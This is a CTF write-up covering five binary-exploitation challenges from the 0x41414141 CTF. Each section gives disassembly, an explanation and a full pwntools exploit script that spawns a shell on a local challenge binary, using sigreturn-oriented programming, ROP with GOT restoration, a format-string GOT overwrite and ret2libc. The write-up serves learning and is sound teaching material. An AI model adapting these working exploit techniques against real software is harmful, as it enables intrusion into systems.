0x41414141 CTF Writeup (pwn only)
tl; dr¶
I think the pwn problems given in 0x41414141 CTF are very educational, so I'll write down the solution for notes.
Disclaimer : I wrote writeup for only the problems that I could solve. Exploit code is made for local use only since the server has been dropped.
This is also my way of learning English!!
Moving Signals¶
Meta data:
moving: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x40000)
RWX: Has RWX segments
0000000000041000 <__start>:
41000: 48 c7 c7 00 00 00 00 mov rdi,0x0
41007: 48 89 e6 mov rsi,rsp
4100a: 48 83 ee 08 sub rsi,0x8
4100e: 48 c7 c2 f4 01 00 00 mov rdx,0x1f4
41015: 0f 05 syscall
41017: c3 ret
41018: 58 pop rax
41019: c3 ret
It's very small binary. The only function included in the binary is _start
.
Then, it's obvious that the program has a simple BOF, and the offset is 8 bytes.
Since the program has few gadgets, we can't exploit with simple ROP.
But... we have pop rax; ret;
gadget and syscall; ret;
gadget. How do we use these gadgets?
The answer is Sigreturn oriented programming !
By using rt_sigreturn
system call, we can change the value of any register, even rip. Considering the section of _start
is writable and executable, we can inject the shellcode into _start
and excute it.
The attack overview:
- cause BOF
- put 0xf (syscall number of
rt_sigreturn
) into rax - return to
0x41015
, and cause sigreturn. - inject shellcode into
0x41017
- execute shellcode
- get the shell!
Using rt_sigreturn
, we'll set the register values as follows:
- rax : 0 (syscall number of read
)
- rdi : 0 (fd of standard input)
- rsi : 0x41017 (inject address)
- rdx : 0x500 (input size, it might be more than enough)
- rsp : 0x41500 (for read)
- rip : 0x41015 (to call syscall)
Exploit Code
from pwn import *
elf=context.binary=ELF("./moving")
p=process("./moving")
flame=SigreturnFrame()
flame.rax=0x0
flame.rdi=0x0
flame.rsi=0x00041017
flame.rdx=0x500
flame.rip=0x00041015
flame.rsp=0x00041100
payload=p64(0)
payload+=p64(0x00041018) # pop rax; ret;
payload+=p64(0xf)
payload+=p64(0x00041015) # syscall
payload+=bytes(flame)
p.sendline(payload)
shellcode=asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()
Finally, we get the shell! yay!
external¶
Metadata:
vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=06cea603bc177acf3effdea190ad8a3c88a2a7a0, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Oh, this is a very simple problem! It's obvious that the program has a simple BOF too and just leak some GOT and calculate libc base address!
...wait. Annoyingly, GOT is cleared by clear_got
before main
return.
0000000000401224 <main>:
401224: 55 push rbp
401225: 48 89 e5 mov rbp,rsp
401228: 48 83 ec 50 sub rsp,0x50
40122c: 48 8d 3d df 0d 00 00 lea rdi,[rip+0xddf] # 402012 <_IO_stdin_used+0x12>
401233: e8 f8 fd ff ff call 401030 <puts@plt>
401238: 48 8d 3d dd 0d 00 00 lea rdi,[rip+0xddd] # 40201c <_IO_stdin_used+0x1c>
40123f: b8 00 00 00 00 mov eax,0x0
401244: e8 07 fe ff ff call 401050 <printf@plt>
401249: 48 8d 45 b0 lea rax,[rbp-0x50]
40124d: ba f0 00 00 00 mov edx,0xf0
401252: 48 89 c6 mov rsi,rax
401255: bf 00 00 00 00 mov edi,0x0
40125a: e8 21 fe ff ff call 401080 <read@plt>
40125f: b8 00 00 00 00 mov eax,0x0
401264: e8 1d ff ff ff call 401186 <clear_got>
401269: b8 00 00 00 00 mov eax,0x0
40126e: c9 leave
40126f: c3 ret
How do we restore GOT? Let's think about how resolving puts
address works.
0000000000401030 <puts@plt>:
401030: ff 25 e2 2f 00 00 jmp QWORD PTR [rip+0x2fe2] # 404018 <puts@GLIBC_2.2.5>
401036: 68 00 00 00 00 push 0x0
40103b: e9 e0 ff ff ff jmp 401020 <.plt>
When puts
was first called, puts@GOT
is set to puts@PLT + 6
and jumps to puts@PLT + 6
to resolve the address. From the second time, since puts@GOT
has been set to puts
address, jumps to puts
without resolving the address.
Therfore, if we can set puts@GOT
to puts@PLT + 6
, we can restore the puts@GOT
. Can we do that? The answer is YES. Just ROP and read puts@GOT
.
However, there is still a problem. Even we restored puts@GOT
, clear_got
will be called again. Let's see clear_got
:
0000000000401186 <clear_got>:
401186: 55 push rbp
401187: 48 89 e5 mov rbp,rsp
40118a: 48 8d 05 87 2e 00 00 lea rax,[rip+0x2e87] # 404018 <puts@GLIBC_2.2.5>
401191: ba 38 00 00 00 mov edx,0x38
401196: be 00 00 00 00 mov esi,0x0
40119b: 48 89 c7 mov rdi,rax
40119e: e8 bd fe ff ff call 401060 <memset@plt>
4011a3: 90 nop
4011a4: 5d pop rbp
4011a5: c3 ret
It uses memset
to clear GOT. It means that if we set memset@GOT
to puts@PLT + 6
, it won't works.
Finally, call puts(puts@GOT)
to leak libc base address and call system("/bin/sh")
to open the shell.
Exploit Code
from pwn import *
elf=ELF("./vuln")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
p=process("./vuln")
# GOT OVERWRITE
payload=b"A"*88
payload+=p64(0x004012f3) # pop rdi;ret;
payload+=p64(0)
payload+=p64(0x004012f1) # pop rsi; pop r15; ret;
payload+=p64(elf.got['puts'])
payload+=p64(0)
payload+=p64(0x00401283) # syscall;
payload+=p64(elf.symbols['main'])
p.sendlineafter(b"> ",payload)
# RESTORE GOT
payload=p64(elf.plt['puts']+0x6)
payload+=p64(elf.plt['setbuf']+0x6)
payload+=p64(elf.plt['puts']+0x6)
payload+=p64(elf.plt['puts']+0x6)
payload+=p64(elf.plt['alarm']+0x6)
payload+=p64(elf.plt['read']+0x6)
payload+=p64(elf.plt['signal']+0x6)
p.send(payload)
# LEAK LIBC
payload=b"A"*88
payload+=p64(0x004012f3) # pop rdi;ret;
payload+=p64(elf.got['puts'])
payload+=p64(elf.plt['puts'])
payload+=p64(elf.symbols['main'])
p.sendlineafter(b"> \n",payload)
puts_addr=u64(p.recv(6).ljust(8,b"\x00"))
print(hex(puts_addr))
libc_base=puts_addr-libc.symbols['puts']
print(hex(libc_base))
# OPEN THE SHELL
payload=b"A"*88
payload+=p64(0x004012f3) # pop rdi;ret;
payload+=p64(libc_base+next(libc.search(b"/bin/sh")))
payload+=p64(libc_base+libc.symbols['system'])
p.sendline(payload)
p.interactive()
The Pwn Inn¶
Metadata :
the_pwn_inn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=14fc1c701ef6aaae7b503071e34cc157ca6a2fad, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
This program has a simple FSB and the offset is 6. But, vuln
will call exit
... How to prevent the program from exiting?
00000000004012c4 <vuln>:
4012c4: 55 push rbp
4012c5: 48 89 e5 mov rbp,rsp
4012c8: 48 81 ec 10 01 00 00 sub rsp,0x110
...
401319: e8 42 fd ff ff call 401060 <printf@plt>
40131e: bf 01 00 00 00 mov edi,0x1
401323: e8 88 fd ff ff call 4010b0 <exit@plt>
The answer is simple. Just use FSB to overwrite exit@GOT
with vuln
address. Therefore, the program will cause an infinite loop.
Next, let's leak puts@GOT
to calculate libc base address! It's easy.
Finally, overwrite printf@GOT
with system
address. Then, the program will call system(input)
instead of printf(input)
.
It means that if we input /bin/sh
, the program will call system("/bin/sh")
and open the shell.
Exploit Code
from pwn import *
elf=context.binary=ELF("./the_pwn_inn")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
p=process("./the_pwn_inn")
# OVERWRITE exit@GOT
payload=fmtstr_payload(6,{elf.got['exit']:elf.symbols['vuln']})
p.sendlineafter("name? \n",payload)
# LEAK puts@GOT
payload=b"%7$sAAAA"+p64(elf.got['puts'])
p.sendlineafter("Welcome ",payload)
# CALCULATE LIBC BASE
p.recvuntil(b"Welcome ")
addr=u64(p.recv(6).ljust(8,b"\x00"))
libc_base=addr-libc.symbols['puts']
# OVERWRITE printf@GOT
payload=fmtstr_payload(6,{elf.got['printf']:libc_base+libc.symbols['system']})
p.sendline(payload)
# OPEN THE SHELL
p.sendline(b"/bin/sh")
p.interactive()
Return Of The ROPs¶
This question asks us to answer the string of length 4 that satisfies the condition like below:
Proof of work: Submit a lowercase alphabetical string X, of length 4, where MD5(X)[-6:] = 394aaa
I wonder why. I won't touch this because it's non-essential. Now, let's move on to the main subject.
Metadata:
ret-of-the-rops: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7239b32103c472bb10ceb84ee69f82680317bb7c, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
This program has a very simple BOF and solution is very typical. Just leak puts@GOT
to calculate libc base address and call system("/bin/sh")
. There are no traps.
Why this problem is being placed here is something of a mystery.
Exploit Code
from pwn import *
import hashlib
elf=ELF("./ret-of-the-rops")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
p=process("./ret-of-the-rops")
def exploit():
# LEAK puts@GOT
payload=b"A"*40
payload+=p64(0x00401263) # pop rdi; ret;
payload+=p64(elf.got['puts'])
payload+=p64(elf.plt['puts'])
payload+=p64(elf.symbols['main'])
p.sendlineafter(b"What would you like to say?\n",payload)
p.recv(43)
# CALCULATE LIBC ADDRESS
putsaddr=u64(p.recv(6).ljust(8,b"\x00"))
print(hex(putsaddr))
libc_base=putsaddr-libc.symbols['puts']
print(hex(libc_base))
# OPEN SHELL
payload=b"A"*40
payload+=p64(0x0040101a) # ret;
payload+=p64(0x00401263) # pop rdi; ret;
payload+=p64(libc_base+next(libc.search(b"/bin/sh")))
payload+=p64(libc_base+libc.symbols['system'])
payload+=p64(0x00401263) # pop rdi; ret;
payload+=p64(0)
payload+=p64(libc_base+libc.symbols['exit'])
p.sendline(payload)
p.interactive()
exploit()
echo¶
Metadata:
echo: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
0000000000401000 <echo>:
401000: 55 push rbp
401001: 48 89 e5 mov rbp,rsp
401004: 48 81 ec 00 03 00 00 sub rsp,0x300
40100b: b8 00 00 00 00 mov eax,0x0
401010: bf 00 00 00 00 mov edi,0x0
401015: 48 8d b4 24 80 01 00 lea rsi,[rsp+0x180]
40101c: 00
40101d: ba 00 03 00 00 mov edx,0x300
401022: 0f 05 syscall
401024: 48 89 c2 mov rdx,rax
401027: b8 01 00 00 00 mov eax,0x1
40102c: bf 01 00 00 00 mov edi,0x1
401031: 0f 05 syscall
401033: c9 leave
401034: c3 ret
401035: 2f (bad)
401036: 62 (bad)
401037: 69 .byte 0x69
401038: 6e outs dx,BYTE PTR ds:[rsi]
401039: 2f (bad)
40103a: 73 68 jae 4010a4 <_start+0x67>
...
000000000040103d <_start>:
40103d: e8 be ff ff ff call 401000 <echo>
401042: b8 3c 00 00 00 mov eax,0x3c
401047: bf 00 00 00 00 mov edi,0x0
40104c: 0f 05 syscall
This program is very small like moving signal.
And like moving signal, we might exploit this program by SROP.
But in this case, the program doesn't have pop rax;
gadget. So, how to set rax
to 0xf (syscall number of rt_sigreturn
)?
There is a very ad-hoc solution. The program will echo input. Therefore, if we input N bytes, rax
will set to N.
It means that if we input 0xf bytes, rax
will set to 0xf.
So we found out that we can use SROP. Next, let's think the flame.
The writer was kind enough to contain /bin/sh
on the program. There is no way not to take advantage of this.
1035 /bin/sh
1111 ./src/main.S
111e echo
1123 __bss_start
112f _edata
1136 _end
113c .symtab
1144 .strtab
114c .shstrtab
1156 .text
OK, let's set the register values as follows to call execve("/bin/sh",0,0)
- rax : 0x3b (syscall number of execve)
- rdi : 0x1035 (
/bin/sh
) - rsi : 0x0
- rdx : 0x0
- rip : 0x401022
Exploit Code
import time
from pwn import *
elf=context.binary=ELF("./echo")
p=process("./echo")
flame=SigreturnFrame()
flame.rax=0x3b
flame.rip=0x401022
flame.rdi=0x401035
flame.rsi=0x0
flame.rdx=0x0
payload=b"A"*392
payload+=p64(elf.symbols['echo'])
payload+=p64(0x401022)
payload+=bytes(flame)
p.sendline(payload)
time.sleep(1)
p.sendline(b"A"*0xe)
time.sleep(1)
p.interactive()
How did you like it? Whenever I solve a new problem, I will add writeup.